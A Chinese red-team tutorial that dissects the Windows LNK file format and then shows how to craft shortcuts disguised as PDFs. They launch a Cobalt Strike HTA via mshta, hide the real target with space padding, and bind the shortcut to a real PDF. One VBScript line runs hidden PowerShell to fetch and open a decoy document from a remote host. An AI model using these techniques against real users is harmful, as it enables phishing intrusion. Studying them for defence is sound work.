HW在即——紅隊活動之Lnk樣本載荷篇
HW在即——紅隊活動之Lnk樣本載荷篇
注意: 1.本篇文章由Gcow安全團隊絕影小組原創(主要研究於紅藍對抗領域) 2.本篇文章一共2700多字,44張圖,預計用時8分鐘 3.希望各位看官如果在看到錯誤的地方可以在私信或者評論向筆者指出,筆者將感激不盡 4.如果因為本篇文章而造成的相關損失本公眾號不給予賠償. 5.本篇文章只是學習交流,若出現因透過本篇文章而出現進行的攻擊活動,本公眾號概不負責
0x00.前言:
在日常的活動中,我們都可以看到LNK
載荷的存在,從隨身碟蠕蟲對隨身碟檔案進行偽裝,以達到欺騙受害人點選的目的,再到紅隊活動甚至於部分APT
組織也使用了LNK
檔案作為其投遞的主要載荷.LNK
檔案的載荷擁有自動隱藏.lnk字尾名,從而展現偽裝的字尾名以欺騙目標的特點而被廣泛使用,下面我們將先透過解析LNK
檔案格式進行切入,再透過其基礎進行樣本的相關構造,最後我們會介紹一些需要注意的地方.也希望各位看官如果在看到錯誤的地方可以在私信或者評論向筆者指出,筆者將感激不盡。
另外本樣本不討論相關的免殺性,免殺的操作請各位看官自己實現.
0x01 LNK檔案格式解析:
檔案前20
位元組固定不變:
HeaderSize(4 bytes,
offset 0x00
):0x0000004CLinkCLSID(16 bytes,
offset 0x04
):00021401-0000-0000-C000-000000000046
0x01.1 LinkFlags
由offset 0x14
起始4位元組為LinkFlags(下圖來自微軟官方文件):
由圖片2可以看到,該檔案LinkFlags為0x000802DB
(Bin:0000 0000 0000 1000 0000 0010 1101 1011
),這表示以下Flag被設定:
- HasLinkTargetIDList
- HasLinkInfo
- HasRelativePath
- HasWorkingDir
- HasIconLocation
- IsUnicode
- HasExpIcon
- DisableLinkPathTracking
上述Flag會在下文解釋,故此處先不做展開。
0x01.2 FileAttributes
由offset 0x18
起始4
位元組為FileAttributes,0x00000020
表示FILE_ATTRIBUTE_ARCHIVE
。
0x01.3 CreateTime & AccessTime & WriteTime
由offset 0x1C
開始,每個欄位各佔8
位元組:
0x01.4 FileSize
由圖4可以看到,FileSize為0x000E0400
(佔4
個位元組)。
0x01.5 IconIndex
IconIndex為0x00000001
(佔4
個位元組)。
0x01.6 ShowCommand & Hotkey
由offset 0x3C
開始,ShowCommand佔4
位元組,0x00000001表示SW_SHOWNORMAL
,當然也可以根據具體的需要替換為SW_SHOWMAXIMIZED (0x00000003)
(視窗最大化)以及SW_SHOWMINNOACTIVE (0x00000007)
(視窗最小化)
Hotkey佔2
位元組;餘下10
個位元組均為保留位。
0x01.7 LinkTargetIDList
由於LinkFlags中HasLinkTargetIDList
設為1
,故檔案包含LinkTargetIDList結構。LinkTargetIDList構成如下:
而IDList由ItemID構成,以2
位元組全為0
的TerminalID作為結束:
下面來看示例檔案中的LinkTargetIDList:
上圖紅色部分為IDListSize,綠色部分為TerminalID,中間藍色部分則為IDList。下面來看IDList,第一個ItemID如下:
- ItemIDSize(2 bytes, offset 0x004E):0x0014
- Data(12 bytes, offset 0x0050):根據微軟官方文件給出的資訊,其含義為computer
第二個ItemID:
- ItemIDSize(2 bytes, offset 0x0062):0x0019
- Data(23 bytes, offset 0x0064):其含義為c:
第三個ItemID:
不再贅述,其含義為Windows。
第四個ItemID:
其含義為System32。
第五個ItemID:
0x01.8 LinkInfo
由於LinkFlags中HasLinkInfo
設為1,故檔案包含LinkInfo結構。LinkInfo構成如下:
下面來看下示例檔案中的LinkInfo:
- LinkInfoSize(4 bytes, offset 0x017B):0x00000053
- LinkInfoHeaderSize(4 bytes, offset 0x017F):LinkInfo結構定義中指定該欄位為0x0000001C
- LinkInfoFlags(4 bytes, offset 0x0183):0x00000001,表示VolumeIDAndLocalBasePath標誌位設為1
- VolumeIDOffset(4 bytes, offset 0x0187):0x0000001C,自
offset 0x017B
處VolumeID偏移大小 - LocalBasePathOffset(4 bytes, offset 0x018B): 0x00000035,自
offset 0x017B
處LocalBasePath偏移大小 - CommonNetworkRelativeLinkOffset(4 bytes, offset 0x018F):0x00000000,CommonNetworkRelativeLink不存在
- CommonPathSuffixOffset(4 bytes, offset 0x0193):0x00000052,自
offset 0x017B
處CommonPathSuffix偏移大小 - VolumeID(25 bytes, offset 0x0197):由於VolumeIDAndLocalBasePath設定為1,故包含VolumeID結構如下:
- VolumeIDSize(4 bytes, offset 0x0197):0x00000019
- DriveType(4 bytes, offset 0x019B):DRIVE_FIXED(3)
- DriveSerialNumber(4 bytes, offset 0x019F)
- VolumeLabelOffset(4 bytes, offset 0x01A3):0x00000010,自
offset 0x0197
處VolumeLabel偏移大小 - Data(9 bytes, offset 0x01A7):Windows7
- LocalBasePath(29 bytes, offset 0x01B0):由於VolumeIDAndLocalBasePath設定為1,故包含LocalBasePath——"C:/Windows/System32/calc.exe"。該欄位為指向連結目標的完整路徑。
- CommonPathSuffix(1 byte, offset 0x01CD):空字元
0x01.9 String Data
每個String Data結構如下:
由於LinkFlags中HasRelativePath
設為1,故檔案包含RELATIVE_PATH
字串:
紅色部分是CountCharacters(Unicode
字串長度,故應該為0x22*2=0x44
),藍色部分則為String
。
之後是WORKING_DIR字串:
ICON_LOCATION字串:
0x01.10 EnvironmentVariableDataBlock
由於LinkFlags中HasExpString
設為1
,故檔案包含EnvironmentVariableDataBlock
:
- BlockSize(4 bytes):該欄位值必須為0x0314
- BlockSignature (4 bytes):該欄位值必須為0xA0000001
- TargetAnsi (260 bytes):指定環境變數路徑(ANSI字串),詳見下圖。
- TargetUnicode(520 bytes):指定環境變數路徑(UNICODE字串),詳見下圖。
0x01.11 EXTRA_DATA
由零個或多個下列資料塊與TERMINAL_BLOCK組成:
示例檔案中的EXTRA_DATA包含SpecialFolderDataBlock
:
- BlockSize(4 bytes): 0x00000010
- BlockSignature(4 bytes): 0xA000005,標識SpecialFolderDataBlock
- SpecialFolderID (4 bytes):0x00000025,指定Folder ID
- Offset(4 bytes):0x000000D5,偏移大小,指向IDList中第五個ItemID
KnownFolderDataBlock:
- BlockSize(4 bytes): 0x0000001C
- BlockSignature(4 bytes): 0xA00000B,標識KnownFolderDataBlock
- KnownFolderID(16 bytes):GUID
- Offset(4 bytes):0x000000D5,偏移大小,指向IDList中第五個ItemID
PropertyStoreDataBlock:
- BlockSize(4 bytes): 0x000001F4
- BlockSignature(4 bytes): 0xA000009,標識PropertyStoreDataBlock
PropertryStore(492 bytes)
TrackerDataBlock:
- BlockSize(4 bytes): 0x00000060
- BlockSignature(4 bytes): 0xA000003,標識TrackerDataBlock
- Length(4 bytes):0x00000058,該資料塊最小長度
- Version(4 bytes):0x00000000
- MachineID(16 bytes)
- Droid(32 bytes):2 GUID
- DroidBirth(32 byte):2 GUID
0x02 構造迷惑性LNK檔案:
我們首先生成一個正常的LNK檔案:
之後更改其圖示為%SystemRoot%/System32/SHELL32.dll
中任意一個:
0x02.1 修改圖示
用010 Editor
開啟該LNK檔案,找到String Data
部分ICON_LOCATION
字串:
我們要將其修改為./1.pdf
(Unicode),其長度0x07
:
其效果如下所示(左邊機器開啟PDF
檔案的預設程式是XODO PDF Reader,中間是Adobe Reader,右邊是谷歌瀏覽器):
其會根據目標機器上所安裝的環境進行適配,以顯示出符合本機環境的圖示,加大了樣本的成功機率
0x02.2 修改目標
原始目標如下所示:
現在我們修改EnvironmentVariableDataBlock
中的TargetAnsi
及TargetUnicode
:
將其修改為%windir%/system32
目錄不存在的一個EXE檔名。
效果展示:
但這時雙擊該檔案會報錯:
所以我們需要再修改LinkTargetIDList中第五個ItemID:
如此一來,開啟該檔案便會彈出計算器:
0x03 擴充套件:
首先新建一指向%windir%/System32/mshta.exe
的快捷方式(檔名儘量帶有迷惑性),並更改其圖示為%SystemRoot%/System32/SHELL32.dll
中任意一個:
之後更改其引數為HTA
下載地址:
注:筆者是使用Cobalt Strike
生成HTA
檔案:
於其執行payload
前增加如下語句(用於下載誘餌文件並且進行開啟,同時誘餌文件的顯示有多種方法,這裡只是舉一個例子):
Dim open_pdf Set open_pdf = CreateObject("Wscript.Shell") open_pdf.run "powershell -nop -w hidden (new-object System.Net.WebClient).DownloadFile('http://192.168.3.27:8080/1.pdf',$env:temp+'/LNK檔案格式解析(修改版).pdf');Start-Process $env:temp'/LNK檔案格式解析(修改版).pdf'", 0, true
這樣一來,在受害者開啟LNK
檔案後會從遠端下載一正常PDF
文件並開啟。
接下來按照0x02
部分所述方法修改即可,此處加一個Tip——在其WORKING_DIR字串前面新增大量空格字元,使其目標長度超過260
個字元:
使用copy /B
命令將其與正常PDF
文件捆綁,使其檔案大小看起來更具有說服力:
之後雙擊該LNK
檔案,主機便會上線,而受害者會看到一正常的PDF
文件:
效果展示:
0x04.注意事項:
文中只是以pdf為字尾做了一個例子,看官在具體進行構造的時候可以使用其他的字尾,只要是後面以10 00 00 00
結尾即可
當然看官也可以透過修改前面的規定資料大小的值以實現不拘泥於數字與字母的命名方式
如上圖中的docx
所示其資料大小為9
,資料值為.\11.docx
而下面的png
所顯示的資料大小為7
,資料值為.\1.png
。經過反覆的修改測試可得知,只要其資料值能夠符合其前面規定的資料塊其就可以正常解析並且顯示.
0x05.結語:
本文屬於拋磚引玉,其所使用的技術也不是很新穎.但的確可以在一定程度上起到迷惑的作用,故本絕影小組認為值得分享,同時鑑於有不少的APT組織(例如Gamaredon
,Oceanlotus
,SideWinder
等)也同樣進行lnk
載荷的投遞,希望各單位可以培養針對相關魚叉載荷的安全意識,以減少損失.
相關文章
- 2018 新年活動系統 — 搶紅包2018-03-19
- FireEye紅隊工具遭盜取,騰訊安全已檢測到數百個符合規則的利用樣本2020-12-10
- 深入探討ROP 載荷分析2020-08-19
- 遊戲本的福音,GeForce SUPER系列筆記本上線在即2020-04-14遊戲筆記
- Jenkins 使用指南 之 團隊部署篇2021-02-08Jenkins
- 團隊動力之心理資本理論2024-09-01
- 紅隊打點思路2024-06-18
- Notes Twenty-fourth days-滲透攻擊-紅隊-紅隊自研2020-10-10
- 紅日ATT&CK紅隊實戰(一)2023-03-20
- 餐飲小紅書營銷活動方案 紅書美食類筆記上海氖天2023-03-28筆記
- 微信團隊原創分享:Android版微信後臺保活實戰分享(程式保活篇)2018-03-20Android
- 預下載開啟!《鬼泣-巔峰之戰》6月11日公測在即2021-06-09
- 雙十一紅包入口在哪裡?2022淘寶雙十一紅包在哪領?活動入口地址2022-10-31
- AML HW22024-05-14
- PR HW32024-05-07
- MQTT 5.0 新特性 |(一) 屬性與載荷2019-12-23MQQT
- 營收千億開門紅,伊利憑什麼能做中國企業樣本?2022-04-29營收
- 團隊動力之團隊發展階段理論2024-09-01
- 紅隊靶機實戰(2)2020-06-06
- 域滲透之ATT&CK實戰系列——紅隊實戰(一)2024-06-22
- 以水果拼盤為主題的團隊建設活動2018-05-15
- CSS動畫篇之404動畫2022-05-05CSS動畫
- 《小浣熊百將傳》8月4日雙端上線在即,預抽卡活動限時開啟2021-07-27
- 迴圈不變數之荷蘭國旗2021-01-05變數
- 帆軟2017百城巡展啟動在即,力掀資料化管理之風2018-04-18
- 無線多作業系統啟動之uInitrd階段NFS掛載篇2020-08-19作業系統UINFS
- Android學習之活動的最佳實踐2021-04-01Android
- 活動效果分析1——活動流程2020-02-18
- 卡思“資料”區間卡位:抖音紅人篇(附下載)2019-12-13
- 編輯功能-載荷裡空欄位沒有傳2024-06-04
- iOS動畫系列之四:基礎動畫之平移篇2019-02-28iOS動畫
- 團隊動力之社會認同理論2024-09-01
- 吾愛破解2024春節解題領紅包活動,喜迎新春~2024-02-27
- 招標書樣本2024-10-10
- 怎樣提高六西格瑪改善活動的成功機率?2022-05-23
- 瞭解紅黑樹的起源,理解紅黑樹的本質2020-09-17
- 相伴玩家15載 盛趣遊戲《永恆之塔》週年慶活動再迎人氣新高2024-04-10遊戲
- 定性檢測的樣本量估算之精確概率法2022-03-28